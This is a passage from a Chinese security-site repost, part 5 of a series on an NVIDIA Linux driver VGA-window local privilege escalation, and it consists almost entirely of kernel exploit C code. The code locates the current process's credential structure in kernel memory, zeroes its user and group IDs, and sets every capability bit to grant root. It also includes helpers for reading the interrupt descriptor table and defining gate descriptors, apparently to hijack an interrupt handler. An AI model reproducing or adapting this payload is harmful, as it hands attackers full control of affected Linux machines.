NVIDIA Linux Driver VGA Window本地权限提升漏洞(5)

fn1 = (void*)kdlsym(&ks, fncred);
        if (fn1) {
            j = fn1((void*)task_struct);
            // And decrease refcount we just increased
            asm("lock; decl (%0)" :: "r"(j));
        }
    }
    else if (!ret)
        task_struct = gettask();
    else
        return -ret;
    if (!task_struct)
        return -5;

// No kallsyms or no get_task_cred, manually try to find
    if (!j) {
        // all the creds are belong to us
        for (i = 0; i < 0x1000; i += sizeof(void*)) {
            p = (char *)(task_struct + i);
            for (k = 0; k < tasknamelen; k++) {
                if (p[k] != taskname[k])
                    break;
            }
            if (k == tasknamelen) {
                cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);
                j = (int *)cred;
                break;
            }
        }
        if (!j)
            return -1;
    }

for (i = 0; i < 1000; i++, j++) {
        if (j[0] == uid && j[1] == uid && j[2] == uid && j[3] == uid &&
            j[4] == gid && j[5] == gid && j[6] == gid && j[7] == gid) {

/* uid, euid, suid, fsuid */
            j[0] = j[1] = j[2] = j[3] = 0;

/* gid, egid, sgid, fsgid */
            j[4] = j[5] = j[6] = j[7] = 0;

/* ALLCAPS!!111 */
            j[10] = j[11] = 0xffffffff;
            j[12] = j[13] = 0xffffffff;
            j[14] = j[15] = 0xffffffff;

return 0;
        }
    }
    return -2;
}

struct gdt
{
  uint16_t limit;
  uint32_t base;
}__attribute__((packed));

static unsigned long getidt()
{
  struct gdt idt;
  memset(&idt, 0x00, sizeof(struct gdt));
  asm volatile("sidt %0" : "=m"(idt));
  return idt.base | 0xFFFFFFFF00000000UL;
}

typedef struct gate_struct {
        uint16_t offset_low;
        uint16_t segment;
        unsigned ist : 3, zero0 : 5, type : 5, dpl : 2, p : 1;
        uint16_t offset_middle;
#ifdef __x86_64__
        uint32_t offset_high;
        uint32_t zero1;
#endif
} __attribute__((packed)) gate_desc;

enum {
    GATE_INTERRUPT = 0xE,
    GATE_TRAP = 0xF,
    GATE_CALL = 0xC,
    GATE_TASK = 0x5,
};

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wypjzp.html